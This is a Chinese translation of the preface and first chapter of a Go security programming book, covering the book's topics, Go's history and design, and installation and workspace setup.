Go-安全指南-全-
Go 安全指南(全)
原文:
annas-archive.org/md5/7656fc72aaece258c02033b14e33ea12译者:飞龙
前言
本书介绍了 Go 编程语言,并解释了如何在网络安全行业中应用它。书中涵盖的话题对红队和蓝队成员都有帮助,也适用于那些想编写安全代码的开发人员,以及希望保护自己网络、主机和知识产权的网络和运维工程师。书中的示例代码都是完全可运行的程序,旨在提供一些实用的应用程序,供你整合到自己的工具包中。此外,本书还作为一本实用的工具书,帮助你构建自己的定制应用程序。我还分享了一些我学到的其他安全最佳实践和技巧。
本书将通过一些在各种计算机安全场景中有用的代码示例带你逐步学习。在阅读本书的过程中,你将构建一本实用的工具书,包含你在组织和项目中使用的安全工具所需的应用程序和构建模块。书中还会涉及一些关于 Go 编程语言的技巧和趣闻,并提供许多有用的参考程序,以便丰富你自己的 Go 工具书。
本书将涵盖多个蓝队和红队的使用案例以及其他各种与安全相关的话题。蓝队的话题,包括隐写术、取证、数据包捕获、蜜罐和加密学,红队的话题,包括暴力破解、端口扫描、绑定和反向 shell、SSH 客户端以及网页抓取,都会被涉及。每章都与一个不同的安全话题相关,并通过与该话题相关的代码示例进行讲解。如果你跟随本书,你将拥有一本实用的安全工具书,帮助你用 Go 语言构建自己的定制工具。
本书不是关于 Go 语言的深入教程。一章专门解释 Go 语言,但相比 Alan Donovan 和 Brian Kernighan 近 400 页的《The Go Programming Language》,本书内容只是皮毛。幸运的是,Go 是一种非常容易上手的语言,学习曲线也很快。书中提供了一些学习 Go 的资源,但如果读者不熟悉 Go,可能需要做一些额外的阅读。
本书不会探讨尚未有充分文献记录的前沿安全技术或漏洞,也没有揭示零日漏洞或高级技术。每一章都专注于一个不同的安全话题,每个话题本身可能都可以成为一本书。每个领域都有专家专门研究,因此本书不会深入探讨任何特定话题。读者在阅读完本书后,将拥有一个坚实的基础,可以更深入地探索任何主题。
本书适合谁阅读
本书面向已经熟悉 Go 编程语言的程序员。读者需要具备一定的 Go 基础,但不要求是 Go 专家。内容针对 Go 的初学者,但不会教你 Go 的所有知识。Go 新手将能够探索和实验 Go 的各个方面,同时将其应用于安全实践。我们将从简单的例子开始,然后逐步引入更复杂的 Go 语言特性。
读者不需要是高级安全专家,但至少应具备对核心安全概念的基本理解。目标是让读者像经验丰富的开发者或安全专家一样,通过安全话题的学习,提升工具集,并积累 Go 参考代码库。喜欢构建实用工具的读者会喜欢这些章节的内容。希望在 Go 中构建与安全、网络等领域相关的自定义工具的人,将从这些示例中受益。开发者、渗透测试员、安全运维分析师(SOC)、DevOps 工程师、社会工程学专家和网络工程师都能从本书中获取有价值的信息。
本书所涉及的内容
第一章,Go 安全入门,介绍了 Go 的历史,并讨论了为什么 Go 是安全应用的良好选择,如何设置开发环境,以及如何运行第一个程序。
第二章,Go 编程语言,介绍了使用 Go 编程的基础知识,回顾了 Go 的关键词和数据类型,以及 Go 的显著特性。还包含了如何获取帮助和阅读文档的信息。
第三章,文件操作,帮助你探索使用 Go 处理、读取、写入和压缩文件的各种方法。
第四章,取证学,讨论了基本的文件取证技术、隐写术以及网络取证技术。
第五章,数据包捕获与注入,讲解了使用gopacket包进行数据包捕获的各个方面。内容包括获取网络设备列表、从实时网络设备捕获数据包、过滤数据包、解码数据包层、以及发送自定义数据包。
第六章,加密学,解释了哈希、对称加密(如 AES)、非对称加密(如 RSA)、数字签名、验证签名、TLS 连接、生成密钥和证书,以及其他加密相关的内容。
第七章,安全外壳(SSH),讲解了 Go 的 SSH 包,如何使用客户端通过密码和密钥对进行身份验证。还涉及如何使用 SSH 在远程主机上执行命令以及运行交互式 Shell。
第八章,暴力破解,包含多个暴力破解攻击客户端的示例,包括 HTTP 基本认证、HTML 登录表单、SSH、MongoDB、MySQL 和 PostgreSQL。
第九章,Web 应用程序,解释了如何构建安全的 Web 应用程序,包括安全的 cookie、净化输出、安全头、日志记录以及其他最佳实践。还涉及编写使用客户端证书、HTTP 代理和 SOCKS5 代理(如 Tor)的安全 Web 客户端。
第十章,网页抓取,讨论了基本的抓取技术,如字符串匹配、正则表达式和指纹识别。还介绍了goquery包,这是一款用于从结构化网页中提取数据的强大工具。
第十一章,主机发现与枚举,涉及端口扫描、横幅抓取、TCP 代理、简单套接字服务器和客户端、模糊测试以及扫描网络中的命名主机。
第十二章,社会工程学,提供了通过 JSON REST API(如 Reddit)收集情报、使用 SMTP 发送钓鱼邮件、生成二维码的示例。还涉及蜜罐技术,以及 TCP 和 HTTP 蜜罐的示例。
第十三章,后期利用,介绍了各种后期利用技术,如交叉编译绑定 shell、反向绑定 shell 和 Web shell。还提供了搜索可写文件以及修改时间戳、所有权和权限的示例。
第十四章,结论,是对本书主题的回顾,向您展示从这里可以走向哪里,并提供了在本书学习的技术应用中的一些考虑因素。
为了最大限度地发挥本书的作用
-
读者应具备至少一种编程语言的基本编程知识和理解。
-
要运行示例,读者需要一台已安装 Go 的计算机。安装说明在书中有介绍。推荐的操作系统是 Ubuntu Linux,但示例也应能在 macOS、Windows 和其他 Linux 发行版上运行。
下载示例代码文件
您可以通过您的帐户在 www.packtpub.com 下载本书的示例代码文件。如果您在其他地方购买了本书,可以访问 www.packtpub.com/support 并注册,以便直接将文件通过电子邮件发送给您。
您可以通过以下步骤下载代码文件:
-
登录或注册 www.packtpub.com。
-
选择“支持”标签。
-
点击“代码下载与勘误”。
-
在搜索框中输入书名,并按照屏幕上的指示操作。
下载文件后,请确保使用以下之一的最新版本解压或提取文件夹:
-
WinRAR/7-Zip for Windows
-
Zipeg/iZip/UnRarX for Mac
-
7-Zip/PeaZip for Linux
本书的代码包也托管在 GitHub 上,地址是github.com/PacktPublishing/Security-with-Go。我们还有其他代码包,来自我们丰富的书籍和视频目录,地址是github.com/PacktPublishing/。快去看看吧!
使用的约定
本书中使用了一些文本约定。
CodeInText:表示文本中的代码词汇、数据库表名、文件夹名称、文件名、文件扩展名、路径名、虚拟网址、用户输入和 Twitter 账号。例如:“make()函数将创建一个特定类型、特定长度和容量的切片。”
一段代码块设置如下:
package main
import (
"fmt"
)
func main() {
// Basic for loop
for i := 0; i < 3; i++ {
fmt.Println("i:", i)
}
// For used as a while loop
n := 5
for n < 10 {
fmt.Println(n)
n++
}
}
当我们希望你注意到代码块中的特定部分时,相关的行或项目会以粗体显示:
package main
import (
"fmt"
)
func main() {
// Basic for loop
for i := 0; i < 3; i++ {
fmt.Println("i:", i)
}
// For used as a while loop
n := 5
for n < 10 {
fmt.Println(n)
n++
}
}
任何命令行的输入或输出都写作如下:
sudo apt-get install golang-go
粗体:表示新术语、重要词汇或你在屏幕上看到的词语。例如,菜单或对话框中的词语在文本中会这样显示。这里是一个例子:“在 Windows 10 中,可以通过导航到控制面板 | 系统找到它。”
高级系统设置 | 环境变量。
警告或重要提示会以这种方式出现。
提示和技巧会以这种方式出现。
联系我们
我们始终欢迎读者的反馈。
一般反馈:请通过电子邮件feedback@packtpub.com,并在邮件主题中提到书籍标题。如果你对本书的任何方面有问题,请通过电子邮件questions@packtpub.com与我们联系。
勘误:虽然我们已尽最大努力确保内容的准确性,但难免会有错误。如果你在本书中发现了错误,我们将非常感谢你向我们报告。请访问www.packtpub.com/submit-errata,选择你的书籍,点击“勘误提交表单”链接并输入相关信息。
盗版:如果你在互联网上发现任何我们作品的非法复制品,无论形式如何,我们将非常感激你提供相关地址或网站名称。请通过copyright@packtpub.com与我们联系,并附上相关材料的链接。
如果你有兴趣成为作者:如果你对某个主题有专长,并且有兴趣撰写或贡献一本书,请访问authors.packtpub.com。
评价
请留下评论。在你阅读并使用本书后,为什么不在你购买书籍的网站上留下评论呢?潜在的读者可以通过你的公正意见做出购买决策,我们 Packt 也能了解你对我们产品的看法,我们的作者也能看到你对他们书籍的反馈。谢谢!
想了解更多关于 Packt 的信息,请访问packtpub.com。
第一章:使用 Go 进行安全性的简介
安全和隐私作为实际问题,尤其在科技行业中,持续获得越来越多的关注。网络安全市场正在蓬勃发展并持续增长。该行业发展迅速,创新和研究不断涌现。不仅安全的关注度和速度提升了,应用规模及其风险也以数量级的方式增长。行业需要一种简单易学、跨平台且在大规模应用中高效的编程语言。Go 是完美的选择,拥有强大的标准库、短暂的学习曲线和极快的速度。
本章将涵盖以下主题:
-
Go 的历史、语言设计、批评、社区和学习技巧
-
为什么使用 Go 进行安全性开发
-
设置开发环境并编写你的第一个程序
-
运行示例程序
关于 Go
Go 是一个开源编程语言,由 Google 创建,并在 BSD 风格许可证下发布。BSD 许可证允许任何人免费使用 Go,只要保留版权声明,并且不将 Google 的名字用于背书或推广。Go 深受 C 语言的影响,但语法更简单,内存安全性和垃圾回收机制更好。有时,Go 被描述为现代版的 C++。我认为这是对 Go 的过度简化,但 Go 无疑是一个简单而现代的语言。
Go 语言设计
Go 的初衷是创建一种简单、可靠且高效的编程语言。如前所述,Go 深受 C 语言的影响。该语言本身非常简单,只有 25 个关键字。它被设计成能够很好地与 IDE 集成,但又不依赖于 IDE。根据我的经验,任何尝试过 Go 的人都会发现它非常易用,且学习曲线很短。
Go 的主要目标之一是解决 C++和 Java 代码的一些负面问题,同时保留性能。该语言需要简单且一致,以便管理非常庞大的开发团队。
变量是静态类型的,应用程序会快速编译成静态链接的二进制文件。拥有一个单一的静态链接二进制文件,使得创建轻量级容器变得非常容易。最终的应用程序也运行得非常快,接近 C++和 Java 的性能,并且比 Python 等解释型语言要快得多。Go 有指针,但不允许进行指针运算。Go 并不自诩为面向对象的编程语言,它在传统意义上也没有类;然而,它确实包含了许多与面向对象编程语言非常相似的机制。在下一章将对这一点进行更深入的讨论。接口被大量使用,组合是继承的等价物。
Go 有许多有趣的特性。一个突出的特点是内建的并发性。只需在任何函数调用前加上“go”关键字,它就会创建一个轻量级线程来执行该函数。另一个非常重要的特性是依赖管理,非常高效。依赖管理也是 Go 编译速度非常快的部分原因之一。它不会像 C++ 那样重复包含相同的头文件。Go 还具有内建的内存安全功能,由垃圾回收器处理未使用内存的清理。Go 的标准库也相当令人印象深刻。它现代化,并包含了网络、HTTP、TLS、XML、JSON、数据库、图像处理和加密等包。Go 还支持 Unicode,允许在源代码中使用各种字符。
Go 工具链是生态系统的核心。它提供了下载和安装远程依赖、运行单元测试和基准测试、生成代码以及根据 Go 格式标准格式化代码的工具。它还包括编译器、链接器和汇编器,这些工具编译速度非常快,并且通过简单地更改 GOOS 和 GOARCH 环境变量,可以轻松地进行交叉编译。
Go 语言中排除了一些特性。泛型、继承、断言、异常、指针运算和隐式类型转换都被 Go 排除了。许多特性是故意省略的,特别是泛型、断言和指针运算。作者排除了一些特性,因为他们希望保持性能、尽量简化语言规范,或者他们无法就最佳实现方式达成一致,或者某些特性过于争议。继承也故意被排除,取而代之的是接口和组合。其他一些特性,例如泛型,因其实现方式的争论过多而被排除,但可能会在 Go 2.0 中出现。作者认识到,向语言中添加特性要比删除特性容易得多。
Go 的历史
Go 是一门相对年轻的语言,起源于 2007 年,并于 2009 年开源。它最初在 Google 作为一个 20% 项目启动,由 Robert Griesemer、Rob Pike 和 Ken Thompson 参与开发。20% 项目意味着开发者在项目中花费 20% 的时间将其作为一个实验性副项目。Go 1.0 于 2012 年 3 月正式发布。从一开始就计划成为一门开源语言。直到 Go 1.5 版本,编译器、链接器和汇编器是用 C 编写的。1.5 版本之后,所有内容都用 Go 编写。
Google 最初为 Linux 和 macOS 发布了 Go,社区推动了其他平台的支持,特别是 Windows、FreeBSD、OpenBSD、NetBSD 和 Solaris。它甚至已经移植到 IBM z 系列大型主机上。IBM 的 Bill O'Farrell 在 2016 年的 GopherCon 大会中做了题为 将 Go 移植到 IBM z 架构 的演讲 (www.youtube.com/watch?v=z0f4Wgi94eo)。
Google 以使用 Python、Java 和 C++ 而闻名。理解他们为何选择这些语言也并不困难。它们各自填补了特定的角色,且有各自的优缺点。Go 是一次尝试,旨在创建一种能够满足 Google 需求的新语言。他们需要能够在高负载下表现极佳、支持并发、且易于阅读和编写并能快速编译的软件。
启动 Go 项目的触发事件是处理一个庞大的 C++ 代码库,该代码库由于 C++ 处理依赖关系和重新包含头文件的方式,需要数小时才能编译完成 (www.youtube.com/watch?v=bj9T2c2Xk_s (37:15))。这也是 Go 主要目标之一——快速编译——的原因。Go 帮助将数小时的编译时间缩短为秒,因为它比 C++ 更高效地处理依赖关系。
Go 2.0 的讨论已经开始,但仍处于概念阶段。尚无发布日期,也没有急于发布新版本的计划。
采用与社区
Go 仍然是一门年轻的语言,但它的采用率持续增长,并且人气不断上升。Go 曾在 2009 年和 2016 年被评为 TIOBE 年度编程语言:

来源: https://www.tiobe.com/tiobe-index/go/
Go 团队曾表达过一个预期,即 Go 会吸引大量 C/C++ 和 Java 开发者,但他们惊讶地发现,许多用户来自于 Python 和 Ruby 等脚本语言。像我这样的其他人认为,Go 是 Python 的一个自然补充,Python 本身是一门很棒的语言。然而,当你需要更强大的功能时,应该选择什么语言呢?一些大公司已经证明,Go 适用于大规模的生产环境,包括 Google、Dropbox、Netflix、Uber 和 SoundCloud。
第一届 Go 大会,名为 GopherCon,于 2014 年举行。从那时起,GopherCon 每年都会举办。我有幸在 2016 年的 GopherCon 上做关于数据包捕获的演讲,经历了非常棒的体验 (www.youtube.com/watch?v=APDnbmTKjgM)。
Go 的常见批评
社区中经常出现一些批评意见。最臭名昭著、讨论最多的批评可能是缺乏泛型。这导致需要重复编写代码以处理不同的数据类型。接口可以在一定程度上缓解这个问题。我们可能会在未来的版本中看到泛型,因为作者们对泛型持开放态度,但他们并没有急于做出这一重要的设计决策。
另一个常见的批评是缺乏异常处理。开发者必须显式地处理或忽略每一个错误。就个人而言,我觉得这种方式是一种清新的变化。实际上这并不比其他方法多多少工作,而且你对代码流有完全的控制。有时候,使用异常时你无法确定它会在何处被捕获,因为它会向上传递。在 Go 中,你可以轻松地跟踪错误处理代码。
Go 有一个垃圾回收器来处理内存清理。垃圾回收器随着时间的推移不断升级,并且还在继续改进。虽然垃圾回收器会对性能产生轻微影响,但它为开发者节省了大量思考和担忧。Go 最初被描述为一种系统编程语言,但对内存的控制不足,限制了非常低级的应用。此后,他们不再称 Go 为系统编程语言。如果你需要对内存进行低级控制,那么你必须用 C 编写部分代码。
Go 工具链
go 可执行文件是 Go 工具链的主要应用程序。你可以向 go 传递一个命令,它会采取适当的行动。工具链包括用于运行、编译、格式化源代码、下载依赖项等工具。让我们看看完整的命令列表,可以通过运行 go help 命令或直接运行 go 来获得:
-
build:此命令编译包和依赖项 -
clean:此命令删除对象文件 -
doc:此命令显示包或符号的文档 -
env:此命令打印 Go 环境信息 -
generate:这是代码生成器 -
fix:此命令在发布新版本时升级 Go 代码 -
fmt:此命令在包源代码上运行gofmt -
get:此命令下载并安装包和依赖项 -
help:此命令提供有关特定主题的更多帮助 -
install:此命令编译并安装包和依赖项 -
list:此命令列出包 -
run:此命令编译并运行 Go 程序 -
test:此命令运行单元测试和基准测试 -
vet:此命令检查源代码中的错误 -
version:此命令显示 Go 版本
有关这些命令的更多信息,请访问 golang.org/cmd/。
Go 吉祥物
每个人都知道,最好的剑有名字,而最好的编程语言有吉祥物。Go 的吉祥物是gopher。gopher 没有名字。它有一个糖果豆形状的身体,微小的四肢,巨大的眼睛和两颗牙齿。它是由 Renee French 设计的,并且其版权属于创意共享署名 3.0许可证。这意味着你可以玩弄这些图像,但必须在使用时注明创作者 Renee French。
Renee French 在 2016 年丹佛的 GopherCon 大会上做了题为Go Gopher:一个角色研究的演讲,讲述了 gopher 是如何诞生的,它所采用的各种媒介和形式,以及如何在不同场景下绘制它的技巧(www.youtube.com/watch?v=4rw_B4yY69k)。
你可以在gopherize.me/生成一个自定义的 gopher 头像,并在blog.golang.org/gopher阅读更多关于 Go gopher 的信息。

学习 Go
如果你从未使用过 Go,不必担心。它有一个温和的学习曲线,足够简单,你可以在一两天内学会。最好的起点是tour.golang.org/。这是 Go 编程语言的基本教程。如果你已经完成了这个教程,你应该已经有足够的基础,能顺利读完这本书。如果你正在阅读这本书而没有参加过这个教程,可能会遇到一些你不熟悉的概念,这些概念在这里没有解释。教程是一个很好的学习和实践的地方。
由于语言规范中只有 25 个保留关键字,足够简短,"凡人"也能理解。你可以在golang.org/ref/spec上阅读更多关于规范的内容。
你应该已经熟悉大多数这些关键字。这些包括:if、else、goto、for、import、return、var、continue、break、range、type、func、interface、package、const、map、struct、select、case、switch、go、defer、chan、fallthrough和default。
这个教程将帮助你学习关键字、语法和数据结构的基础知识。教程中的游乐场让你在浏览器中练习编写和运行代码。
为什么使用 Go?
Go 有几个吸引我之处。并发性、速度和简洁性是最重要的。这个语言非常简单,容易学习。没有try、catch和异常处理流程。尽管有些人批评冗长的错误处理,但我觉得有一个简单的语言,不隐藏许多魔法,按它所说的做,反而让人耳目一新。go fmt工具标准化了格式,使得阅读他人代码变得容易,也消除了自己定义标准的负担。
Go 提供了一种可扩展性和可靠性的感觉,实际上使用起来非常愉快。在 Go 之前,快速编译的代码主要选项是 C++,而管理头文件和为不同平台构建代码并非易事。多年来,C++已经变得非常复杂,对大多数人来说,它远没有 Go 那么易于接近。
为什么在安全领域使用 Go?
我想我们都明白,并没有所谓“最佳编程语言”,但是针对不同的工作有不同的工具。Go 在性能和并发方面表现出色。它的其他优点包括能够编译为单一的可执行文件并轻松进行交叉编译。它还拥有适合网络应用的现代标准库。
交叉编译的简便性在安全领域创造了一些有趣的应用场景。以下是一些交叉编译在安全领域的应用案例:
-
渗透测试人员可以使用 Raspberry Pi 编译自定义的 Go 反向 Shell,用于 Windows、macOS 和 Linux,并尝试部署它们。
-
网络防御者可以拥有一个中央数据库,用来存储所有来自蜜罐服务器的蜜罐信息,然后交叉编译蜜罐服务器。这将使他们能够轻松地在所有平台上部署一致的应用程序,包括 Windows、mac 和 Linux。
-
网络防御者可以在他们的网络中部署极其轻量级的蜜罐,形式是一个带有单一静态链接二进制文件的 Docker 容器。容器的创建和销毁非常迅速,使用的带宽和服务器资源极少。
当你在考虑 Go 是否是一个好的语言选择时,可以将 Go 与其他一些热门编程语言进行对比,这可能会有所帮助。
为什么不使用 Python?
Python 是安全领域中的一种流行语言,这很可能是因为它的普及性、较短的学习曲线和大量的库。已经有几款用 Python 编写的有用安全工具,例如用于数据包捕获的 Scapy,网页抓取的 Scrapy,调试工具 Immunity,HTML 解析的 Beautiful Soup,和内存取证工具 Volatility。许多供应商和服务提供商也提供 Python 的 API 示例。
Python 容易学习,且有大量的资源可用。Go 也很容易编写,并且学习曲线较为平缓。在我看来,学习曲线和编程的简易性并不是 Go 和 Python 之间的主要区分因素。最大的区别,Python 的短板,则是性能。Python 在性能上无法与 Go 竞争。部分原因在于 Python 是解释型语言,但更大的因素是 全局解释器锁(GIL)。GIL 阻止解释器使用超过一个 CPU 核心的处理能力,即便有多个线程在执行。虽然有一些方法可以绕过这个问题,例如使用多进程,但这本身也有缺点和限制,因为它实际上是分叉了一个新进程。其他选择包括使用 Jython(Java 上的 Python)或 IronPython(.NET 上的 Python),它们没有 GIL。
为什么不使用 Java?
Java 的最大优势之一是 一次编写,到处运行(WORA)。如果你需要处理任何涉及 GUI、图形或音频的工作,这非常有价值。Go 确实无法在创建 GUI 方面超越 Java,但它是跨平台的,并且支持交叉编译。
Java 是一个成熟且广泛应用的语言,拥有丰富的资源。与 Go 的包相比,Java 库的选择更多。Java 是两种语言中更冗长的一个。Java 的生态系统更复杂,有多个构建工具和包管理器的选择。而 Go 则更简单且标准化。这些差异可能仅仅归因于两种语言的年龄差异,但仍然可能影响你的语言选择。
在某些情况下,Java 虚拟机(JVM)可能在内存或启动时间方面过于消耗资源。如果你需要将多个命令行 Java 应用连接起来,那么 JVM 的启动时间可能会对短时间运行的程序造成显著的性能损失。就内存而言,如果你需要运行多个相同应用的实例,那么每个 JVM 所需的内存将会累积。JVM 还可能有所限制,因为它创建了一个沙盒环境并限制了对主机的访问。Go 编译成本地机器代码,因此不需要虚拟机层。
Go 有很好的文档,社区持续发展并提供更多资源。对于有经验的程序员来说,这是一门容易学习的语言。并发处理比 Java 更简单,并且是语言内建的,而不是通过一个库包实现。
为什么不使用 C++?
C++ 确实提供了更多的控制,因为开发者需要负责内存管理,并且没有垃圾回收器。正因如此,C++ 的性能会稍微优于 Go。在某些情况下,Go 甚至能超过 C++ 的性能。
C++ 非常成熟,并且有大量的第三方库。虽然库不是完全跨平台的,且可能有复杂的 makefile,但 Go 的交叉编译要简单得多,可以通过 Go 工具链来实现。
Go 编译效率更高,因为它具有更好的依赖管理。C++ 可以多次重新包含相同的头文件,导致编译时间膨胀。Go 的包管理系统更加一致和标准化。线程和并发是 Go 的原生特性,而 C++ 需要依赖平台特定的库。
C++ 的成熟度也导致了该语言随着时间的发展而变得更加复杂。Go 是一种令人耳目一新的语言,它简单而现代。C++ 对初学者来说不如 Go 友好。
开发环境
本书中的所有示例都可以在主要平台——Windows、macOS 和 Linux 上运行。话虽如此,这些示例主要是在 Ubuntu Linux 上编写和开发的,因此推荐在以下示例中使用这个平台。
Ubuntu Linux 可免费获取,下载链接为 www.ubuntu.com/download/desktop。下载页面可能会要求捐款,但你可以选择免费下载。虽然 Ubuntu 不是必需的,但如果你拥有相同的环境,书中的内容会更容易跟随。其他 Linux 发行版应该也能很好地工作,但我强烈建议使用基于 Debian 的发行版。书中的大部分 Go 代码示例可以在 Windows、Linux 和 Mac 上无需任何修改地运行。某些示例可能是 Linux 和 Mac 特有的,比如文件权限,在 Windows 中的处理方式不同。任何特定于某个平台的示例都会特别提及。
你可以在虚拟机中免费安装 Ubuntu,或者将其作为主要操作系统使用。只要你的系统有足够的 CPU、内存和磁盘空间,我推荐使用 Oracle VirtualBox 来创建虚拟机,下载地址为 www.virtualbox.org/。VMWare Player 是 VirtualBox 的替代品,下载地址为 www.vmware.com/products/player/playerpro-evaluation.html。
下载并安装 VirtualBox,然后下载 Ubuntu 桌面版 ISO 文件。创建一个虚拟机,让它启动 Ubuntu ISO 文件,并选择安装选项。安装好 Ubuntu 并以用户身份登录后,你可以安装 Go 编程语言。Ubuntu 通过提供一个软件包使得这个过程变得非常简单。只需打开一个终端窗口并运行以下命令:
sudo apt-get install golang-go
使用 sudo 提升你的权限以进行安装,并可能会要求你输入密码。如果一切顺利,你现在可以访问 go 可执行文件,它包含了整个工具链。你可以运行 go help 或直接运行 go 来查看使用说明。
如果你没有使用 Ubuntu 或者想要安装最新版本,可以从golang.org/dl下载最新版本。Windows 和 Mac 的安装程序会自动更新你的 PATH 环境变量,但在 Linux 上,你需要手动将解压后的内容移动到期望的位置,比如 /opt/go,然后更新你的 PATH 环境变量以包含该位置。可以参考以下示例:
# Extract the downloaded Go tar.gz
tar xzf go1.9.linux-amd64.tar.gz
# Move the extracted directory to /opt
sudo mv go /opt
# Update PATH environment variable to include Go's binaries
echo "export PATH=$PATH:/opt/go/bin" >> ~/.bashrc
现在重新启动终端以使更改生效。如果你使用的是非 Bash 的 shell,你需要更新相应的 RC 文件。
在其他平台上安装 Go
如果你没有使用 Ubuntu,依然可以轻松安装 Go。Go 官方网站在golang.org/dl/的下载页面提供了多种安装格式。
其他 Linux 发行版
第一个选项是使用 Linux 发行版的包管理器来安装 Go。大多数主流发行版都有 Go 的安装包。包的名称可能不同,所以可能需要通过网络搜索来找到准确的包名。如果没有可用的包,你可以直接下载预编译的 Linux tarball 并解压。一个好的解压位置是 /opt/go。然后,像前面所述那样,将 /opt/go/bin 添加到你的 PATH 环境变量中。
Windows
提供了官方的 Windows 安装程序,使安装过程变得像运行安装程序一样简单。你可能需要修改环境变量并更新 %PATH% 变量。在 Windows 10 中,你可以通过控制面板 | 系统 | 高级系统设置 | 环境变量来找到它。
Mac
Mac 也提供官方安装程序。运行安装程序后,Go 将自动添加到你的 PATH 环境变量中。
设置 Go
此时,你的环境应该已经安装了 Go,并且你应该能够在终端窗口中运行 go 可执行文件。go 程序是你访问 Go 工具链的方式。你可以通过运行以下命令来测试它:
go help
现在我们准备编写第一个 Hello World 程序,以确保我们的环境完全正常。我们开始编写代码之前,需要创建一个合适的工作空间。
创建你的工作空间
Go 有一个标准的工作空间文件夹结构。遵循这些标准对于 Go 工具链的正常工作至关重要。你可以在任何地方创建工作空间目录,并将其命名为你喜欢的名字。在实验环境中,我们将使用 Home 目录作为 Go 工作空间。这意味着源代码文件将位于 ~/src,包将构建在 ~/pkg,可执行文件将安装到 ~/bin。
设置环境变量
为了使大多数 Go 工具链正常工作,必须设置GOPATH环境变量。GOPATH指定你将哪个目录作为工作空间。在构建包之前,必须先设置GOPATH环境变量。更多帮助和信息,可以通过在终端中运行以下命令来调用go help命令:
go help gopath
我们需要告诉 Go 将home目录视为工作空间。这是通过设置GOPATH环境变量来完成的。你可以通过三种方式设置GOPATH:
- 第一种方法是每次运行
go命令时手动设置它。考虑这个示例:
GOPATH=$HOME go build hello
- 你也可以设置
GOPATH变量,这样它将在你关闭终端并丢失环境变量之前一直保持设置状态:
export GOPATH=$HOME
- 第三个选项是永久设置
GOPATH环境变量,如下所示:
-
-
将其添加到你的 Shell 启动脚本
.bashrc中。这样每次启动终端时都会设置该变量。 -
运行此命令以确保每次打开终端/ shell 会话时都设置了
GOPATH:
-
echo "export GOPATH=$HOME" >> $HOME/.bashrc
-
- 重启终端以使更改生效。如果你使用的是 Zsh 或其他替代的 Shell,你需要更新相应的 RC 文件。
请注意,Go 版本 1.8 及更高版本不需要显式设置GOPATH环境变量。如果没有设置GOPATH,它将使用$HOME/go作为默认工作空间。
编辑器
我们即将编写我们在新hello目录中的第一个程序。你首先需要选择使用哪个编辑器。幸运的是,使用 Go 并不需要特殊的 IDE 或编辑器。Go 工具链可以轻松集成到许多编辑器和 IDE 中。你的选择从使用简单的文本编辑器(如 Notepad)到专门为 Go 设计的完整 IDE。
我建议你从一个简单的文本编辑器开始,比如 nano 或 gedit,因为这些编辑器在 Ubuntu 中已经预装,易于使用,且原生支持 Go 语法高亮。不过,你也可以选择其他编辑器或 IDE。
许多文本编辑器和 IDE 都提供 Go 支持的插件。例如,Visual Studio Code、Emacs、Sublime Text、JetBrains IntelliJ、Vim、Atom、NetBeans 和 Eclipse 都有 Go 插件。有几个 Go 专用的 IDE,即 JetBrains GoLand 和 LiteIDE,它们都是跨平台的。
从nano或gedit命令开始,当你熟悉 Go 后,再探索其他编辑器和 IDE。本书不会比较这些编辑器,也不涉及如何配置它们。
创建你的第一个包
在~/src目录内,任何你创建的目录都是一个包。你的目录名就是包或应用程序的名称。我们首先需要确保src目录存在。波浪号(~)是你家目录的快捷方式,类似于$HOME变量。参考以下代码块:
mkdir ~/src
让我们为我们的第一个应用程序创建一个名为hello的新包:
cd ~/src
mkdir hello
包其实就是一个目录。你可以在一个包中包含一个或多个源文件。任何子目录都被视为单独的包。一个包可以是一个包含main()函数的应用程序(package main),也可以是一个只能被其他包导入的库。这个包现在还没有文件,但我们稍后会写第一个文件。现在不要太担心包的结构。你可以在golang.org/doc/code.html#PackagePaths上阅读更多关于包路径的信息。
编写你的第一个程序
你可以拥有的最简单的包是一个目录中的单个文件。创建一个新文件~/src/hello/hello.go,并将以下代码放入其中:
package main
import "fmt"
func main() {
fmt.Println("Hello, world.")
}
运行可执行文件
执行程序的最简单方式是使用go run命令。以下命令将运行文件而不留下可执行文件:
go run ~/src/hello/hello.go
构建可执行文件
要编译并构建可执行文件,请使用go build命令。在运行go build时,你必须提供一个包的路径。你提供的包路径是相对于$GOPATH/src的。由于我们的包在~/src/hello,我们将如下运行该命令:
go build hello
只要我们设置了$GOPATH,其实可以从任何地方调用go build。创建的可执行文件将输出到当前工作目录。然后,你可以使用以下命令运行它:
./hello
安装可执行文件
go build工具适用于在当前工作目录中生成可执行文件,但也有方法可以构建并安装你的应用程序,使得所有可执行文件都收集在同一位置。
当你运行go install时,它会将输出文件放在默认位置$GOPATH/bin。在我们的例子中,我们将$GOPATH设置为$HOME。所以默认的bin目录就是$HOME/bin。
如果你希望安装到其他位置,可以通过设置GOBIN环境变量来覆盖该位置。为了安装我们的hello程序,我们将运行以下命令:
go install hello
这将构建并创建一个可执行文件,~/bin/hello。如果bin目录不存在,它将自动创建。如果你多次运行install命令,它将重新构建并覆盖bin目录中的可执行文件。然后可以使用以下命令运行该应用程序:
~/bin/hello
为了方便,你可以将~/bin添加到PATH环境变量中。这样做将允许你从任何工作目录运行应用程序。要将bin目录添加到PATH,请在终端中运行以下命令:
echo "export PATH=$PATH:$HOME/gospace/bin" >> ~/.bashrc
完成后,请务必重新启动终端以刷新环境变量。之后,你可以通过在终端中输入以下内容来运行hello应用程序:
hello
安装应用程序完全是可选的。你不必安装程序就能运行或构建它们。在开发过程中,你可以始终从当前工作目录构建和运行,但安装已完成的应用程序是方便的,尤其是当它们被多次使用时。
使用 go fmt 格式化
go fmt命令用于格式化源代码文件,使其符合 Go 的格式化标准。
这将确保缩进准确,并且不会有多余的空格,除此之外,还能进行其他检查。你可以格式化单个 Go 源代码文件或一次性格式化整个包。遵循 Go 编码规范并对文件运行go fmt是一个良好的习惯,这样可以确保你的代码遵循了相关的规范。关于格式化的更多信息,请阅读golang.org/doc/effective_go.html#formatting。
运行 Go 示例
本书中提供的示例都是自包含的。每个示例都是完整的程序,并且可以运行。大多数示例较短,演示一个特定的主题。虽然这些示例可以作为独立的程序使用,但其中一些可能仅有有限的用途。它们的目的在于作为参考,并像烹饪书一样用于构建你自己的项目。因为每个示例都是自包含的主包,你可以使用go build命令来生成可执行文件,并使用go run来运行文件。以下是关于构建和运行程序的更多细节。
构建单个 Go 文件
如果你构建一个文件,它将生成一个以 Go 文件命名的可执行文件。运行以下命令:
go build example.go
这将生成一个名为 example 的可执行文件,可以像这样执行:
./example
运行单个 Go 文件
如果你只是想运行程序,而不是构建文件并生成可执行文件,那你不需要构建文件。go run选项允许你直接运行.go文件,而不留下可执行文件。你仍然可以像运行常规可执行文件那样传递参数,示例如下:
